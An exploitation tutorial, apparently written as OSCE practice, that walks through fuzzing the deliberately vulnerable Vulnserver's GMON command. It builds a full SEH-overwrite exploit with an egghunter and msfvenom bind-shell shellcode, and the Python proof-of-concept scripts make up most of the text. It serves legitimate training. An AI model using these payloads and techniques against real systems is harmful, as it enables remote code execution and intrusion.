Vulnserver - GMON Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

1. Intro

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

You can get a copy of the application here https://github.com/zflemingg1/OSCE/tree/master/Vulnserver

2. The Setup

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the GMON command. Observing that the valid argument structure for the GMON command is roughly <gmon>[space]<command_value> we can try sending GMON hello as a test and see if it’s accepted.

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the GMON command.

The following BOOFUZZ template was created to fuzz the GMON command in an effort to get the program to crash.

from boofuzz import *

host = '192.168.109.129'
port = 9999
	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("GMON")
s_string("GMON", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("GMON"))
session.fuzz()

3.1 Crash

The following command appears to have crashed the program indicating that the "GMON" command can be manipulated to force the program to crash

3.2 Analysing The Crash

Based on the TCP stream (Figure 4), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the GMON command and cause the crash:

As can be seen from Figure 6 the program crashes when a string of 5950 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 3531 bytes - Figure 7. As can be seen in the above images we have no control over EIP.

That said, If we review the SEH chain we can clearly see that we have control over the SEH chain - Figure 8.

4. nSEH & SEH Offsets

4.1 Create Unique Pattern

Using msf-pattern_create create a pattern of length 5000 bytes.

Restart the application, update the exploit as shown below and execute it

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Hit ALT + S once the program crashes and note the 'Address' value of the 'Corrupt Entry' (this will be nseh) and the SE-handler value above 'Corrupt Entry' (this will be the seh value)

4.2 Get nSEH & SEH Offsets

Next use msf-patten_offset to get the nseh and seh offsets

4.3 Confirm Offsets

Update the exploit and execute it to confirm that these offsets are correct:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "A" * 3495
payload += "B" * 4
payload += "C" * 4
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

5. Bad Character Analysis

Clone the https://github.com/zflemingg1/OSCE/tree/master git repository and configure the dependency package as instructed.

5.1 Modifying The Script

Outlined below are the changes you will need to make:

# Modify lines 35 - 40 to be the same as below
'''
    INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME
'''
request_template = (
    "GMON/.:/{}"
)
# Modify Lines 46 and 56 to be the same as below

# CHANGE ME!
iteration = 0
processName = "vulnserver.exe" # name of the process as it appears in tasklist
executable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address = "\x0C\xFA\xB7\x00" # Take this value straight from immunity for wahtever register -- this one is ebp remeber little endian # Address or from one of the registers usually. try both
start_buffer_address_offset = 0x04 # The offset you want to read. Note this will typically be 4
seh_violation = True # Change me depending on crash occuring in seh handler 
listeningPort = 9999 # Address of the listening process
crashLoad = "A" * 3495 + "B" * 4 + "{}" + "D" * 1488 # load to crash the proces with {} representing where our test chars will go
responsive_test_string = "HELP"
crash_wait_timeout = 10 # seconds to wait after a payload has been sent
service_responsive_timeout = 10

5.2 Results

Execute the script. Once finished you should have identical results to those outlined below in Figure 14.

# Good Character Summary
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
# Bad Character Summary
\x00

6.0 Safe Pop Pop Ret

Using mona generate the seh.txt file by issuing !mona seh command:

Run Find-Safe-Address.py to identify all safe PPR address from seh.txt.

6.1 Confirm Safe PPR Address

Using the Find-Safe-Address.py script the following address was chosen 0x625010b4. Using immunity restart the application, set a breakpoint at 0x625010b4 and update the POC as shown below and execute it.

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "A" * 3495
payload += "B" * 4
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

As can be seen from Figure 17, SEH has been overwritten with our PPR address. Press shift and F9 to pass the exception to the program and you should hit your breakpoint at 0x625010b4 as shown below in Figure 18.

7. Jumping Out Of Small Buffer

Stepping through the PPR instructions into our buffer using F7 we can see that we have 4 bytes before we hit the SEH instructions - Figure 19. Unfortunately our D buffer is only 22 bytes which is too small to do anything with. This leaves us with two options. We can either perform a long jump backwards to the start of our A buffer, or we can implement an egghunter. For the purposes of this tutorial we will implement an egghunter.

7.1. Jumping Backwards

As can be seen in Figure 19, we have approximately 22 bytes remaining. Due to the limited buffer space remaining we will need to somehow jump backwards into our A buffer to gain more space. To do this we will perform a negative jump of 70 bytes backwards into our A buffer.

Restart the application, set a breakpoint at 0x625010b4and run the updated exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "A" * 3495
payload += "\xeb\xb8\x90\x90" # perform negative jump
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Stepping past our breakpoint and into our buffer we are met with out negative jump - Figure 21. Following our negative jump instruction we jump back 70 bytes into our A buffer - Figure 22.

8. Egghunter

At this point there is approximately 60 bytes of uninterrupted space under our control in our A buffer. This is more than enough space for an egghunter - typically 32 bytes. The following command was used to generate our egghunter. msf-egghunter -f raw -e b00b -v egghunter -p windows -a x86 -f pythonFigure 23.

8.1 Verify That Egghunter Works

The next step is to add the shellcode for the egghunter. Restart the application, set a breakpoint at 0x625010b4and run the updated exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

egghunter =  b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
egghunter += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x30\x30\x62"
egghunter += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = "GMON /.:/"
payload += "A" * 4 
payload += "b00bb00b" + "A" * (3495 - 50)
payload += egghunter
payload += "A" * (3504 - len(payload))
payload += "\xeb\xb8\x90\x90" # perform negative jump
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Stepping into our breakpoint and taking the jump back into our A buffer we should see the instructions for our egghunter. Set a breakpoint at 00B7FFD4 and hit F9.

Once our breakpoint is hit - Figure 25, follow it using F8 to the start of our located dummy code.

9. Generating Shellcode

Using all the information that we've gathered we can now generate the payload as shown below:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f python -v shellcode

9.1 Getting Shell

Restart the application and execute the updated POC shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

shellcode =  b""
shellcode += b"\xba\xf4\xe8\xa4\xee\xdb\xc2\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e"
shellcode += b"\x03\xa2\xe6\x46\x1b\xb6\x1f\x04\xe4\x46\xe0"
shellcode += b"\x69\x6c\xa3\xd1\xa9\x0a\xa0\x42\x1a\x58\xe4"
shellcode += b"\x6e\xd1\x0c\x1c\xe4\x97\x98\x13\x4d\x1d\xff"
shellcode += b"\x1a\x4e\x0e\xc3\x3d\xcc\x4d\x10\x9d\xed\x9d"
shellcode += b"\x65\xdc\x2a\xc3\x84\x8c\xe3\x8f\x3b\x20\x87"
shellcode += b"\xda\x87\xcb\xdb\xcb\x8f\x28\xab\xea\xbe\xff"
shellcode += b"\xa7\xb4\x60\xfe\x64\xcd\x28\x18\x68\xe8\xe3"
shellcode += b"\x93\x5a\x86\xf5\x75\x93\x67\x59\xb8\x1b\x9a"
shellcode += b"\xa3\xfd\x9c\x45\xd6\xf7\xde\xf8\xe1\xcc\x9d"
shellcode += b"\x26\x67\xd6\x06\xac\xdf\x32\xb6\x61\xb9\xb1"
shellcode += b"\xb4\xce\xcd\x9d\xd8\xd1\x02\x96\xe5\x5a\xa5"
shellcode += b"\x78\x6c\x18\x82\x5c\x34\xfa\xab\xc5\x90\xad"
shellcode += b"\xd4\x15\x7b\x11\x71\x5e\x96\x46\x08\x3d\xff"
shellcode += b"\xab\x21\xbd\xff\xa3\x32\xce\xcd\x6c\xe9\x58"
shellcode += b"\x7e\xe4\x37\x9f\x81\xdf\x80\x0f\x7c\xe0\xf0"
shellcode += b"\x06\xbb\xb4\xa0\x30\x6a\xb5\x2a\xc0\x93\x60"
shellcode += b"\xc6\xc8\x32\xdb\xf5\x35\x84\x8b\xb9\x95\x6d"
shellcode += b"\xc6\x35\xca\x8e\xe9\x9f\x63\x26\x14\x20\x9a"
shellcode += b"\xeb\x91\xc6\xf6\x03\xf4\x51\x6e\xe6\x23\x6a"
shellcode += b"\x09\x19\x06\xc2\xbd\x52\x40\xd5\xc2\x62\x46"
shellcode += b"\x71\x54\xe9\x85\x45\x45\xee\x83\xed\x12\x79"
shellcode += b"\x59\x7c\x51\x1b\x5e\x55\x01\xb8\xcd\x32\xd1"
shellcode += b"\xb7\xed\xec\x86\x90\xc0\xe4\x42\x0d\x7a\x5f"
shellcode += b"\x70\xcc\x1a\x98\x30\x0b\xdf\x27\xb9\xde\x5b"
shellcode += b"\x0c\xa9\x26\x63\x08\x9d\xf6\x32\xc6\x4b\xb1"
shellcode += b"\xec\xa8\x25\x6b\x42\x63\xa1\xea\xa8\xb4\xb7"
shellcode += b"\xf2\xe4\x42\x57\x42\x51\x13\x68\x6b\x35\x93"
shellcode += b"\x11\x91\xa5\x5c\xc8\x11\xc5\xbe\xd8\x6f\x6e"
shellcode += b"\x67\x89\xcd\xf3\x98\x64\x11\x0a\x1b\x8c\xea"
shellcode += b"\xe9\x03\xe5\xef\xb6\x83\x16\x82\xa7\x61\x18"
shellcode += b"\x31\xc7\xa3"

egghunter =  b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
egghunter += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x30\x30\x62"
egghunter += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = "GMON /.:/"
payload += "A" * 4 
payload += "b00bb00b" + shellcode 
payload += "A" * (3495 - 50 - len(shellcode))
payload += egghunter
payload += "A" * (3504 - len(payload))
payload += "\xeb\xb8\x90\x90" # perform negative jump
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

Last updated